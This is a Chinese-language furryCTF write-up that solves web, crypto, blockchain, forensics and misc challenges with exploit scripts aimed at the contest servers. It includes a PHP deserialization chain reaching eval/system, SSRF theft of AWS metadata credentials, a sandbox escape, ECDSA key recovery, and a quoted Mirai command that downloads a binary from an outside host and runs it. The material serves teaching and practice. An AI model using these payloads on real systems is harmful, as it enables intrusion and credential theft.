furryCTF 抹茶芭菲 wp

RFF Backdoor Challenge

题目类型: AI / 神经网络后门攻击
分值: 623 pts
Flag: `POFP{4ca77df6-e3cf-4098-af2b-aee6b25126a5}`
连接: `nc ctf.furryctf.com 35740`

题目描述

在基于随机傅里叶特征（RFF）的二分类模型中，找到隐藏的通用对抗扰动（UAP）。附件含 `model.pt`（TorchScript 格式）、`dataset.npz`（600 样本）、`challenge.py`。

模型结构

```
输入 x ∈ ℝ³⁷ → φ(x) = cos(Wx + b) ∈ ℝ¹⁰²⁴ → 线性分类器 → 输出 {0, 1}
```

- W: [1024,37], b: [1024], a: [1024], c: [1]
- logit = sum(a * cos(Wx+b)) + c，prediction = 1 if logit > 0 else 0

目标

找 37 维扰动 sk ∈ [-0.25, 0.25]，使 600 个样本全部翻转：model(x) ≠ model(x+sk)。

解题步骤

1. **基础测试**：全 0.25 约 28% 翻转，全 -0.25 约 81.5%
2. **遗传算法**：全局搜索达 599/600
3. **梯度精调**：对难翻转样本用 Adam 优化，损失函数兼顾「翻转难样本」和「保持已翻转」
4. **提交**：将 37 个浮点数逗号分隔发送给服务器

Exp

```python
import torch
import numpy as np
import socket

def solve():
    model = torch.jit.load('model.pt')
    data = np.load('dataset.npz')
    X = torch.from_numpy(data['X']).float()
    W, b, a, c = model.W, model.b, model.a, model.c

    def get_logits(x, sk=None):
        if sk is not None:
            x = torch.clamp(x + sk, -1, 1)
        z = x @ W.T + b
        phi = torch.cos(z)
        return torch.sum(a * phi, dim=-1) + c.squeeze()

    original_logits = get_logits(X)
    sk = torch.randn(37) * 0.1
    sk = torch.clamp(sk, -0.25, 0.25).requires_grad_(True)
    optimizer = torch.optim.Adam([sk], lr=0.001)

    for epoch in range(20000):
```

```
        optimizer.zero_grad()
        sk_c = torch.clamp(sk, -0.25, 0.25)
        pert_logits = get_logits(X, sk_c)
        loss = torch.mean(torch.relu(pert_logits * torch.sign(original_logits) + 0.1))
        loss.backward()
        optimizer.step()
        with torch.no_grad():
            sk.clamp_(-0.25, 0.25)
        if epoch % 1000 == 0 and ((pert_logits > 0) != (original_logits > 0)).sum().item() == 600:
            break
    return torch.clamp(sk, -0.25, 0.25).detach().tolist()

if __name__ == '__main__':
    sk = solve()
    s = socket.socket()
    s.connect(('ctf.furryctf.com', 35740))
    while b'SK:' not in (d := s.recv(4096)): pass
    s.send((','.join(map(str, sk)) + '\n').encode())
    print(s.recv(4096).decode())
```

Babypop

题目类型: Web / PHP反序列化
Flag: `POFP{92b5f2a4-e248-4827-8289-4d0e62429f9c}`

漏洞分析

POP 链：`LogService::__destruct` 调用 `$this->handler->close()`。将 handler 设为 `FileStream`，其 `close()` 中：

```
if ($this->mode === 'debug' && !empty($this->content)) {
    @eval($this->content);  // RCE
}
```

故需 mode=debug，content=system('cat /flag')。

字符逃逸：`DataSanitizer::clean` 做 `str_replace("hacker","",$input)`。序列化格式为 `s:长度:"内容"`，clean 后内容变短但长度未改，反序列化会多读字符，从而「吞掉」后续结构。user 填 4 个 hacker（24 字符），可吞掉 `";s:3:"bio";s:4:"junk"` 等，让 bio 里的恶意对象被正确解析。

Payload 构造

- user：`hackerhackerhackerhacker`（4×6=24）
- bio：前 5 字符 + `"` 闭合，后接注入的 `preference` 对象（LogService→FileStream）
- protected/private 属性序列化含 `%00*%00`、`%00FileStream%00` 等空字节

Exp

```
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=hackerhackerhackerhacker&bio=XXXXX%22%3Bs%3A3%3A%22bio%22%3Bs%3A4%3A%22junk%22%3Bs%3A10%3A%22preference%
```

CCPreview

题目类型: Web / SSRF
Flag: `POFP{22822601-3134-4ae0-9a39-b61159adae6c}`

题目分析

页面提供 URL 预览，后端用 requests/urllib 请求用户输入的 URL。报错如 `NameResolutionError("HTTPConnection(host='baidu.com%22;ls'...")` 表明是 SSRF 而非命令注入。

解题过程

1. **确认环境**：题目提示在 AWS EC2，内网元数据 IP 为 `169.254.169.254`
2. **试探元数据**：访问 `http://169.254.169.254/latest/meta-data/` 返回目录，未做 IMDSv2 校验
3. **枚举角色**：`http://169.254.169.254/latest/meta-data/iam/security-credentials/` 得到 `admin-role`
4. **取凭证**：访问 `.../admin-role`，Flag 藏在返回 JSON 的 `SecretAccessKey` 字段

Exp

```
# 在网页输入框提交
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

# 返回示例
# {"AccessKeyId":"...","SecretAccessKey":"POFP{22822601-3134-4ae0-9a39-b61159adae6c}",...}
```

PyEditor

题目类型: Web / Python沙箱逃逸
Flag: `furryCTF{45t_jail_3scap3_via_exit_hijack}`

题目分析

Flask-SocketIO 的 Python 执行环境，AST 严格禁止 os/sys/eval/exec/open/**globals** 等。但模板中有：

```
exit_code = safe_exec()
exit()  # 正常会退出
# 下方死代码：
import os
flag_content = os.environ.get('GZCTF_FLAG', '')
with open('/flag.txt', 'w') as f:
    f.write(flag_content)
```

解题思路

1. **劫持 exit**：`builtins.exit = lambda: None`，执行流不会退出，会继续跑后门代码
2. **atexit 延迟读**：后门写入 `/flag.txt` 后程序退出，atexit 钩子在退出前执行，可读取文件
3. **绕过 AST**：用 `getattr(builtins, 'op'+'en')`、`getattr(f, 're'+'ad')` 避免直接出现 open/read 字符串

Exp

```
import builtins
import atexit

builtins.exit = lambda: None

def get_flag():
    op = getattr(builtins, 'op' + 'en')
```

```
    try:
        with op('/fl' + 'ag.txt', 'r') as f:
            re = getattr(f, 're' + 'ad')
            print(f"Flag Found: {re()}")
    except Exception as e:
        print(f"Not found yet: {e}")

atexit.register(get_flag)
print("Backdoor triggered, waiting for execution...")
```

好像忘了啥 (Blockchain)

题目类型: 区块链 / 智能合约
Flag: `furryCTF{e3b288c07477_W31C0mE_t0_8lockchaIn5_worID_aw4}`

题目分析

VulnerableWallet 合约。`getStatus()` 中有 `return (owner = msg.sender, balance)`，这里 `=` 是赋值不是比较，且函数非 view，故任何人调用都会把 owner 改成自己。随后调用 `withdrawAll()` 可提款并触发 `FlagRevealed` 事件，从 receipt 解析 flag。

Exp

```
from web3 import Web3

RPC_URL = "http://ctf.furryctf.com:33691/rpc/"
CONTRACT_ADDRESS = "0x798185aC3A8e21bCC0848910cDA3733E6e42C03c"
ATTACKER_ADDRESS = "0xC1c706B76922f0f5a2582C7Cb8A63A4D58c06052"
PRIVATE_KEY = "0xa4e480e9eb45d8b37a51b562297a2c018f9e9f8c5ad79f5b5a46bba305d2f08d"

CONTRACT_ABI = [
    {"inputs": [], "name": "getStatus", "outputs": [{"type": "address"}, {"type": "uint256"}], "stateMutabili
    {"inputs": [], "name": "withdrawAll", "outputs": [], "stateMutability": "nonpayable", "type": "function"}
    {"anonymous": False, "inputs": [{"indexed": True, "name": "revealer", "type": "address"}, {"indexed": Fal
]

w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)

# Step 1: getStatus() 成为 owner
tx = contract.functions.getStatus().build_transaction({'from': ATTACKER_ADDRESS, 'nonce': w3.eth.get_transact
tx_hash = w3.eth.send_raw_transaction(w3.eth.account.sign_transaction(tx, PRIVATE_KEY).raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)

# Step 2: withdrawAll() 触发 FlagRevealed
tx = contract.functions.withdrawAll().build_transaction({'from': ATTACKER_ADDRESS, 'nonce': w3.eth.get_transa
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
flag_event = contract.events.FlagRevealed().process_receipt(receipt)
print(f"FLAG: {flag_event[0]['args']['flag']}")
```

Hide

题目类型: Crypto / Lattice
Flag: `pofp{8bbda68c-9a6f-41dd-bf27-a143d2644a9aaa}`

题目分析

- 模数 x：1024 位素数

- Flag m：44 字节，填充 20 个 \x00 后 64 字节（512 bit）转整数
- 加密：$B_i = (A_i \cdot m) \mod x$，仅输出 $C_i = B_i \mod 2^{256}$（低 256 位）
- 已知 A、C、x，求 m，本质为 HNP/格问题

解题思路

设 $B_i = high_i \cdot 2^{256} + C_i$，则 $A_i m \equiv high_i \cdot 2^{256} + C_i \pmod x$。乘 $2^{-256} \mod x$ 得 $A_i' m - C_i' \equiv high_i \pmod x$。构造格，使短向量对应 $high_i$ 较小，LLL 规约后从解向量恢复 m。

Exp (SageMath)

```
# 题目数据（x, A 全 6 个, C 全 6 个，从题目获取）
x = 110683599327403260859566877862791935204872600239479993378436152747223207190678474010931362186750321766654
A = [701003776832349281406805894817485351188239827633277612158507940767833079309280003526952618195725539967261
C = [963542176641132187130797635502572751042153558458152125399326839129347815646 27, 30150406435560693444237221

n = 6
def long_to_bytes(val):
    val = int(val)
    return val.to_bytes((val.bit_length() + 7) // 8, 'big')

K, W_m, W_c = 2^256, 2^256, 2^768
K_inv = inverse_mod(K, x)
As = [(a * K_inv) % x for a in A]
Cs = [(c * K_inv) % x for c in C]
# 格: 前6行 [x,0,...,0], [0,x,0,...], ... ; 第7行 [As|W_m|0]; 第8行 [-Cs|0|W_c]
matrix_rows = [[x if i==j else 0 for j in range(n+2)] for i in range(n)]
matrix_rows.append(As + [W_m, 0])
matrix_rows.append([-c for c in Cs] + [0, W_c])
M = Matrix(ZZ, matrix_rows)
for row in M.LLL():
    if abs(row[-1]) == W_c and row[-2] % W_m == 0:
        m = abs(row[-2]) // W_m
        try:
            print(long_to_bytes(m).rstrip(b'\x00').decode())
        except: pass
```

Lazy Signer

题目类型: Crypto / ECDSA
Flag: `POFP{4b4f6638-0ab1-4f69-887f-e57789ef6e03}`

题目分析

ECDSA 签名服务，Flag 用 AES 加密输出，AES 密钥由私钥 d 的 SHA256 派生。漏洞：每次签名使用相同的 k（nonce 只生成一次）。

攻击原理

ECDSA：$r=(kG)_x,\ s=k^{-1}(z+rd)\bmod n$。两次签名 (r,s1)、(r,s2) 用同一 k：

- $s_1-s_2 = k^{-1}(z_1-z_2) \Rightarrow k = (z_1-z_2)(s_1-s_2)^{-1}\bmod n$
- $d = (s_1k-z_1)r^{-1}\bmod n$

解题步骤

1. 连接服务，解析 Encrypted Flag
2. 选两个不同消息签名，得到 (r,s1)、(r,s2)，r 相同即 k 重用
3. 计算 k、d

4. 用 SHA256(str(d)) 作 AES 密钥，ECB 解密 flag

Exp

```
import socket
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from ecdsa import SECP256k1

n = SECP256k1.order
sock = socket.socket()
sock.connect(("ctf.furryctf.com", 35181))
data = b""
while b"Option:" not in data:
    data += sock.recv(4096)
for line in data.decode().split('\n'):
    if "Encrypted Flag" in line:
        encrypted_flag = bytes.fromhex(line.split(': ')[1].strip())
        break
for msg in [b"message1", b"message2"]:
    sock.send(b"1\n"); sock.recv(4096)
    sock.send(msg + b"\n")
    data = b""
    while b"Option:" not in data:
        data += sock.recv(4096)
    for line in data.decode().split('\n'):
        if "Signature" in line:
            r, s = map(int, line.split(': ')[1].strip().strip('()').split(', '))
            break
    if msg == b"message1":
        z1 = int.from_bytes(hashlib.sha256(msg).digest(), 'big'); r1, s1 = r, s
    else:
        z2 = int.from_bytes(hashlib.sha256(msg).digest(), 'big')
k = ((z1 - z2) * pow(s1 - s, -1, n)) % n
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
cipher = AES.new(hashlib.sha256(str(d).encode()).digest(), AES.MODE_ECB)
print(unpad(cipher.decrypt(encrypted_flag), 16).decode())
```

Tiny Random

题目类型: Crypto / ECDSA HNP
Flag: `POFP{adf49a7f-e140-482c-bcaf-4ab835fda8d2}`

解题思路

ECDSA 签名 nonce `k` 仅 128 位，而 secp256k1 阶 `n` 为 256 位，构成 **HNP（隐藏数问题）**。从 $s=k^{-1}(h+rd)\bmod n$ 变形得 $k = s^{-1}h + s^{-1}r\cdot d \pmod n$，设 $a_i=r_is_i^{-1}$、$b_i=h_is_i^{-1}$，则 $k_i = a_id + b_i \pmod n$，$k_i<2^{128}$。构造格矩阵，LLL 规约得到短向量，从中提取私钥 `d`，再对 `give_me_flag` 签名提交获取 flag。

Exp

```
# 1. 收集签名
import socket, json, hashlib
from ecdsa import SECP256k1
from ecdsa.numbertheory import inverse_mod

n = SECP256k1.order
G = SECP256k1.generator

s = socket.socket()
s.connect(("ctf.furryctf.com", 35195))
```

```
def recv_json(sock):
    data = b""
    while True:
        c = sock.recv(1)
        if c == b'\n' or not c: break
        data += c
    return json.loads(data.decode())

def send_json(sock, obj):
    sock.sendall(json.dumps(obj).encode() + b'\n')

pubkey = recv_json(s)
signatures = []
for i in range(6):
    send_json(s, {"op": "sign", "msg": f"message_{i}"})
    r = recv_json(s)
    signatures.append((int(r["r"],16), int(r["s"],16), int(r["h"],16)))

# 2. SageMath 格攻击 (在 Sage 中运行)
# a_i = r_i * s_i^{-1}, b_i = h_i * s_i^{-1}
# k_i = a_i*d + b_i (mod n),k_i < 2^128
B = 2^128
t_list = [(r*inverse_mod(s,n))%n for r,s,h in signatures]
u_list = [(h*inverse_mod(s,n))%n for r,s,h in signatures]
m = len(signatures)
M = Matrix(ZZ, m+2, m+2)
for i in range(m): M[i,i] = n
for i in range(m): M[m,i] = t_list[i]
M[m,m] = 1
for i in range(m): M[m+1,i] = u_list[i]
M[m+1,m+1] = B
L = M.LLL()
d = None
for row in L:
    for cand in [int(row[m])%n, int(-row[m])%n]:
        if cand < 2 or cand >= n: continue
        ok = all((inverse_mod(s,n)*(h+r*cand))%n < B for r,s,h in signatures)
        if ok: d = cand; break
    if d: break

# 3. 签名 give_me_flag 取 flag
h = int.from_bytes(hashlib.sha256(b"give_me_flag").digest(), 'big')
k = randint(1,n-1)
R = k*G
r_sig = int(R.x()) % n
s_sig = (inverse_mod(k,n) * (h + r_sig*d)) % n
send_json(s, {"op": "flag", "r": hex(r_sig), "s": hex(s_sig)})
print(recv_json(s))
```

迷失

题目类型: Crypto / OPE（保序加密）
Flag: `furryCTF{Plaintext_Query_Order_Preserving_Encryption_owo}`

解题思路

OPE 变种：`_encode` 将明文 [0,255] 映射到密文 [0,65535]，递归二分时用 `random_bit` 决定分支。bit 由 `seed = f"{plain_low}_{plain_high}_{cipher_low}_{cipher_high}"` 经 AES PRF 生成，同一状态 seed 固定，故不需要 key。**Bit=1** 标准二分；**Bit=0** 压缩模式，密文空间出现空洞。已知明文 `Now flag is furryCTF{...}` 和 `} - made by QQ:3244118528 qwq`，用 **DFS 回溯** 确定每步 bit：空洞约束 + 已知明文约束剪枝，优先尝试 Bit 1，回溯 Bit 0。

Exp

```
m_hex = "4ee06f4077702800668068d0060916740280068917340280066807 4f17200720079004271550046e07b0050006d0065c06091
```

```
prefix = b"Now flag is furryCTF{"
suffix = b"} - made by QQ:3244118528 qwq"

cipher_int_list = [int(m_hex[i:i+4], 16) for i in range(0, len(m_hex), 4)]
L = len(cipher_int_list)
known_mapping = {}
for i, c in enumerate(prefix): known_mapping[i] = c
for i, c in enumerate(suffix): known_mapping[L - len(suffix) + i] = c
final_result = [None] * L

def solve_node(p_low, p_high, c_low, c_high, relevant_indices):
    if not relevant_indices: return True
    if p_low == p_high:
        if not (32 <= p_low <= 126): return False
        for idx in relevant_indices:
            if idx in known_mapping and known_mapping[idx] != p_low: return False
            final_result[idx] = chr(p_low)
        return True
    p_mid = (p_low + p_high) // 2
    c_range = c_high - c_low
    c_mid_standard = c_low + c_range // 2
    candidates = []
    # Bit 1 (标准二分)
    next_L_1, next_R_1, valid_1 = [], [], True
    for idx in relevant_indices:
        c_val = cipher_int_list[idx]
        in_left = c_val <= c_mid_standard
        if idx in known_mapping and (known_mapping[idx] <= p_mid) != in_left: valid_1 = False; break
        (next_L_1 if in_left else next_R_1).append(idx)
    if valid_1: candidates.append((c_mid_standard, c_mid_standard+1, next_L_1, next_R_1))
    # Bit 0 (压缩模式，空洞)
    delta_l, delta_r = (c_mid_standard - c_low)//4, (c_high - c_mid_standard)//4
    c_mid_0_l, c_mid_0_r = c_mid_standard - delta_l, c_mid_standard + delta_r
    next_L_0, next_R_0, valid_0 = [], [], True
    for idx in relevant_indices:
        c_val = cipher_int_list[idx]
        in_left, in_right = c_val <= c_mid_0_l, c_val >= c_mid_0_r + 1
        if not in_left and not in_right: valid_0 = False; break
        if idx in known_mapping:
            if (known_mapping[idx] <= p_mid) and not in_left: valid_0 = False; break
            if (known_mapping[idx] > p_mid) and not in_right: valid_0 = False; break
        (next_L_0 if in_left else next_R_0).append(idx)
    if valid_0: candidates.append((c_mid_0_l, c_mid_0_r+1, next_L_0, next_R_0))
    for l_high, r_low, n_l, n_r in candidates:
        if solve_node(p_low, p_mid, c_low, l_high, n_l) and solve_node(p_mid+1, p_high, r_low, c_high, n_r):
            return True
    return False

solve_node(0, 255, 0, 65535, list(range(L)))
print(''.join(final_result))
```

深夜来客

题目类型: Forensics / 流量分析
Flag: `furryCTF{Fr0m_Anon9m0us_To_Ro0t}`

题目描述

FTP 服务器上一无所有，但仍被深夜攻击。需分析流量，找出攻击链与 flag。

解题步骤

1. **协议分布**：`tshark -r 深夜来客.pcapng -q -z io,phs`，主要协议为 FTP、HTTP、TLS
2. **FTP 分析**：目标为 Wing FTP Server，anonymous 登录成功但无文件
3. **HTTP 分析**：攻击者转向 Web 管理界面，进行 nmap 扫描、目录枚举、SQL 注入/XSS 测试
4. **提取 POST**：`tshark -r 深夜来客.pcapng -Y "http.request.method==POST" -T fields -e http.file_data`

5. **关键 frame 22083**：username 为 hex 编码，解码后含 **Lua 代码注入** payload 和 Base64 串

攻击链

1. 信息收集 → 2. 发现 Wing FTP，anonymous 登录无文件 → 3. 转向 Web 管理界面 → 4. 登录接口 **Lua 代码注入** → 5. RCE 执行 `io.popen("id")`

Lua Payload 示例

```
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
```

Exp

```
# tshark 提取 POST 数据
tshark -r 深夜来客.pcapng -Y "http.request.method==POST" -T fields -e http.file_data
# 解码 hex 后找到 Base64: ZnVycnlDVEZ7RnIwbV9Bbm9uOW0wdXNfVG9fUm8wdH0=
echo "ZnVycnlDVEZ7RnIwbV9Bbm9uOW0wdXNfVG9fUm8wdH0=" | base64 -d
```

溯源

题目类型: Forensics / 日志分析
Flag: `furryCTF{CVE-2024-3721}`

题目描述

网安协会设备异常，导出一天内访问日志。需溯源分析，找出导致异常的 attack 及对应 CVE。

初步分析

access.log 共 1998 行。使用关键词筛可疑流量：

```
grep -iE "select|union|exec|wget|mdc=" access.log
```

关键攻击：TBK DVR 命令注入

找到成功攻击（状态码 **201**）：

```
144.172.98.50 - - [...] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20
```

mdc 参数解码后：`cd /tmp; rm boatnet.arm7; wget http://103.77.241.165/hiddenbin/boatnet.arm7; chmod 777 *; ./boatnet.arm7 tbk`，典型 Mirai 僵尸网络下载执行。

CVE-2024-3721

项目	内容
漏洞类型	命令注入

项目	内容
影响设备	TBK DVR-4104, DVR-4216
特征	`___S_O_S_T_R_E_A_MAX___` 、mdc/mdb 参数注入
状态码 201	表示请求成功执行

其他流量（未成功）

TP-Link CVE-2023-1389 探测（payload 地址 0.0.0.0 无效）、WebDAV/Nmap/.env 探测等，多为 400/405。

Exp

```
grep -E "___S_O_S_T_R_E_A_MAX___|wget|mdc=" access.log
# 找到 CVE-2024-3721
```

谁动了我的钱包

题目类型: Forensics / 区块链追踪
Flag: `POFP{0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72}`

题目描述

Aristore 遭遇黑客攻击，私钥泄露后资金被转走。已知受害者地址，需找到黑客最终汇聚的钱包地址。链：Sepolia 测试链。

已知信息

- **受害者地址**：`0x35710Be7324E7ca3DD7493e4A2ba671AB51452c8`
- **线索**：该地址最近 5 笔转出均为黑客所为

解题步骤

1. **查看受害者交易**：访问 Sepolia Etherscan，发现 5 笔 OUT（约 19:27 短时间内发出）
2. **第一层拆分**：5 笔接收地址为 `0x766Cb3CE...` 、`0x7F7B7D7E...` 、`0x4864d2a0...` 、`0x3Cbf1FA1...` 、`0x26A087A9...`
3. **逐层追踪**：对每个中间地址继续追踪转出，资金经 4–5 层拆分-转账
4. **最终汇聚**：多条链路在约 15 分钟内（20:48–21:03）汇聚到同一地址

洗钱手法

典型「拆分 → 多层混淆 → 汇聚」：第一层 5 地址拆分，每地址再拆分到更多地址，最终汇聚到黑客控制地址。全程约 2 小时。

最终答案

`0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72`

证据：收到 4 笔入账（来自洗钱链路），无转出，余额约 0.76 ETH。

Exp

```
# 访问 Sepolia Etherscan
# 受害者: 0x35710Be7324E7ca3DD7493e4A2ba671AB51452c8
# 追踪 5 笔 OUT 的接收地址，逐层追踪直至汇聚
# 最终汇聚地址: 0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72
```

AA哥的JAVA

题目类型: Misc / 空白字符隐写
Flag: `pofp{HuAm1_tru1y_c4nn0t_m4ke_sense_0f_J4v4}`

题目分析

AA.java 中 import、class 等关键词被异常空格和 Tab 分隔，如 `im port`。**空白字符隐写**：空格(0x20)=0，Tab(0x09)=1，每 8 个空白字符组成 1 字节。需提取所有含 Tab 的 8 位空白块，按二进制转 ASCII。Flag 含义 "Human truly cannot make sense of Java"。

隐写原理

空白序列	二进制	ASCII	字符
空格+Tab+Tab+Tab+空格…	01110000	112	p
…	…	…	…

Exp

```
with open('AA.java', 'rb') as f:
    content = f.read()
import re
blocks = [m for m in re.findall(rb'[\x20\x09]{8}', content) if b'\x09' in m]
result = ''
for ws in blocks:
    binary = ''.join('1' if b == 0x09 else '0' for b in ws)
    result += chr(int(binary, 2))
print(result)
```

CyberChef

题目类型: Misc / Chef 语言
Flag: `furryCTF{I_Wou1d_L1ke_S0me_Colon9l_Nugge7s_On_Cra7y_Thursd5y_VIVO_5O_AWA}`

题目描述

附件 `Fried Chicken.txt` 看似食谱，实为 **Chef 编程语言** 程序（深奥语言，2002 年 David Morgan-Mar 设计）。题目名 CyberChef 双关：既指在线工具，也指 Chef 语言。

Chef 语言基础

- **Ingredients**：克数表示变量值
- **Method**：程序逻辑

指令	作用
Clean the mixing bowl	清空 mixing_bowl
Put X into the mixing bowl	mixing_bowl = X

指令	作用
Add X to the mixing bowl	mixing_bowl += X
Pour … into the baking dish	输出 chr(mixing_bowl)

解题步骤

1. 解析 Ingredients 得到变量表（如 salt=2, sage=34, honey=23…）
2. 解析 Method 逐行执行 Put/Add/Clean/Pour
3. 输出为一串反转的 Base64，`[::-1]` 反转后再 `base64.b64decode` 得 flag

Exp

```
ingredients = {'salt':2,'sage':34,'oil':27,'ginger':37,'milk':13,'butter':5,'flour':7,'paprika':45,'turmeric'

with open("Fried Chicken.txt") as f:
    content = f.read()
lines, in_method, output, mixing_bowl = content.split('\n'), False, [], 0

for line in lines:
    line = line.strip()
    if line == "Method.": in_method = True; continue
    if not in_method or line.startswith("Serves"): continue
    if "Clean the mixing bowl." == line: mixing_bowl = 0; continue
    if line.startswith("Put") and "into the mixing bowl" in line:
        for ing in ingredients:
            if ing in line.lower(): mixing_bowl = ingredients[ing]; break
        continue
    if line.startswith("Add") and "to the mixing bowl" in line:
        for ing in ingredients:
            if ing in line.lower(): mixing_bowl += ingredients[ing]; break
        continue
    if "Pour contents of the mixing bowl into the baking dish" in line:
        output.append(chr(mixing_bowl)); continue

s = ''.join(output)[::-1]
import base64
print(base64.b64decode(s).decode())
```

签到题

题目类型: Misc / 信息收集
Flag: `furryCTF{Cro5s_The_Lock_0f_T1me}`

题目描述

投票问卷链接 `https://tp.wjx.top/vm/tUv4AXj.aspx`，提示"flag 写在投票后的页面"，但 a？你说过期了？需绕过时间限制获取 flag。

解题过程

1. **访问问卷**：打开链接显示"很抱歉，此问卷已经于 2025-08-17 00:00 结束，不能再接受新的答卷！"
2. **分析页面**：虽然问卷过期，页面上仍有「查看结果」按钮。查看页面源码，找到：

```
    <a href='/wjx/join/tpresult.aspx?activity=326802486' class='button white'>查看结果</a>
```

3. **访问结果页**：直接访问 `https://tp.wjx.top/wjx/join/tpresult.aspx?activity=326802486`，在结果页中即可看到 flag。

知识点

- 问卷过期无法提交，但**结果页面仍可访问**，是常见的信息收集考点
- Flag 含义 "Cross The Lock of Time" 呼应题意——跨越时间之锁

Exp

```
# 直接访问结果页
curl "https://tp.wjx.top/wjx/join/tpresult.aspx?activity=326802486"
```

Emoji Engine

题目类型: PPC / 栈虚拟机
Flag: `POFP{7bbe5171-d406-4456-84ac-8d802ee54f6a}`
连接: ctf.furryctf.com:33070

题目分析

Emoji 栈虚拟机，需解 100 题。**关键映射**：🪮=Xor（非 Pop），🎁=Dup。栈不足时 **Mul 单元素返回 0**；除法向零取整用 `int(a/b)`；需处理 32 位有符号溢出。

Emoji	指令
🐵 n	Push(n)
➕➖✖➗	Add Sub Mul Div
🪮	Xor
🎁	Dup
🔀	Swap
🔚	Exit

Exp

```
import socket, re, sys
def to_signed_32(v): v=v&0xFFFFFFFF; return v if v<0x80000000 else v-0x100000000

def parse(line):
    toks, i, insts = line.split(), 0, []
    while i < len(toks):
        if toks[i]=='🐵' and i+1<len(toks):
            try: insts.append(('Push',int(toks[i+1]))); i+=2; continue
            except: pass
        m = {'➕':('Add',), '➖':('Sub',), '✖':('Mul',), '✖':('Mul',), '➗':('Div',), '🪮':('Xor',), '🎁':('Dup'
        if toks[i] in m: insts.append(m[toks[i]])
        i += 1
    return insts

def run(insts):
    st = []
    for inst in insts:
        if inst[0]=='Push': st.append(to_signed_32(inst[1]))
        elif inst[0]=='Add' and len(st)>=2: st.append(to_signed_32(st.pop()+st.pop()))
```

```
        elif inst[0]=='Sub' and len(st)>=2: st.append(to_signed_32(-st.pop()+st.pop()))
        elif inst[0]=='Mul': st.append(0 if len(st)==1 else to_signed_32(st.pop()*st.pop()))
        elif inst[0]=='Div' and len(st)>=2: b,a=st.pop(),st.pop(); st.append(to_signed_32(int(a/b)) if b else
        elif inst[0]=='Xor' and len(st)>=2: st.append(to_signed_32(st.pop()^st.pop()))
        elif inst[0]=='Dup' and st: st.append(st[-1])
        elif inst[0]=='Swap' and len(st)>=2: st[-1],st[-2]=st[-2],st[-1]
        elif inst[0]=='Exit': break
    return st[-1] if st else 0

s = socket.socket()
s.connect(('ctf.furryctf.com', 33070))
buf = ''
while True:
    buf += s.recv(4096).decode('utf-8', errors='replace')
    if 'POFP{' in buf: print(re.search(r'POFP\{[^}]+\}', buf).group()); break
    if 'Answer:' in buf and '🐷' in buf:
        for ln in buf.split('\n'):
            if '🐷' in ln: insts=parse(ln); s.send(str(run(insts))+'\n'); buf=''; break
```

---

flagReader

题目类型: PPC / API 利用
Flag: `furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-...}`
地址: ctf.furryctf.com:33001

题目描述

"Flag 字符分页查看器"，每页显示一个 Base16 编码字符。题目提示：把网页内容复制下来，Base16 解码 2 次即得 flag。

解题步骤

1. **前端审计**：源码中有 `getFlagLength()`、`getFlagChar(position)`，对应 API：
   - `/api/flag/length` → 返回 480
   - `/api/flag/char/{position}` → 返回该位置字符
2. **批量获取**：循环 1..480 调用 `/api/flag/char/{i}`，拼接得到 480 字符
3. **两次 Base16 解码**：第一次 hex 解码得 240 字符，第二次再 hex 解码得 120 字节 flag

Exp

```
import urllib.request
import json
import binascii

result = []
for i in range(1, 481):
    with urllib.request.urlopen(f'http://ctf.furryctf.com:33001/api/flag/char/{i}') as r:
        d = json.loads(r.read().decode())
        if d['status']=='success':
            result.append(d['char'])
encoded = ''.join(result)
flag = binascii.unhexlify(binascii.unhexlify(encoded).decode()).decode()
print(flag)
```

你是说这是个数学题？

题目类型: PPC / GF(2) 线性方程组
Flag: `furryCTF{X0r_Matr1x_Wi7h_On9_Uni9ue_S0lut1on}`

题目分析

Encrypt.py 将 flag 每个字符转为二进制（**不补零**）拼接，单位矩阵经随机行变换（114514~1919810 次 `matrix[j]^=matrix[i]`，`result[j]^=result[i]`）得 M、b。本质：GF(2) 上 **M*x=b**，高斯消元求 x。

解题步骤

1. 从 Encrypt.py 注释提取 matrix、result（308×308）
2. GF(2) 高斯消元：增广矩阵 [M|b]，XOR 消元求 solution
3. **关键**：加密时 `bin(ord(c))[2:]` 不补零，字符 bit 数不同（数字 6 位，字母 7 位）
4. 回溯搜索：在 valid_chars 中匹配 binary 解析，筛选 furryCTF{...} 格式

Exp

```
import ast
with open('Encrypt.py') as f: c = f.read()
# 提取 matrix 和 result（题目文件含 print 输出或注释格式 matrix=['001...',...] result=[1,0,...]）
def extract(txt, key):
    i = txt.find(key) + len(key)
    depth = 1
    for k, ch in enumerate(txt[i+1:], 1):
        if ch == '[': depth += 1
        elif ch == ']':
            depth -= 1
            if depth == 0: return ast.literal_eval(txt[i:i+k+1])
matrix = [[int(b) for b in r] for r in extract(c, 'matrix=')]
result = extract(c, 'result=')
n = len(matrix)
augmented = [matrix[i] + [result[i]] for i in range(n)]
pivot_cols, row = [], 0
for col in range(n):
    pivot = next((i for i in range(row,n) if augmented[i][col]==1), None)
    if pivot is None: continue
    pivot_cols.append(col)
    augmented[row], augmented[pivot] = augmented[pivot], augmented[row]
    for i in range(n):
        if i != row and augmented[i][col]:
            for j in range(col, n+1): augmented[i][j] ^= augmented[row][j]
    row += 1
solution = [0]*n
for i,c in enumerate(pivot_cols): solution[c] = augmented[i][n]
binary = ''.join(map(str, solution))
valid = set('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}')
char_bits = {c:(len(bin(ord(c))[2:]), bin(ord(c))[2:]) for c in valid}
def backtrack(pos, cur):
    if pos == len(binary): return [''.join(cur)]
    out = []
    for c in valid:
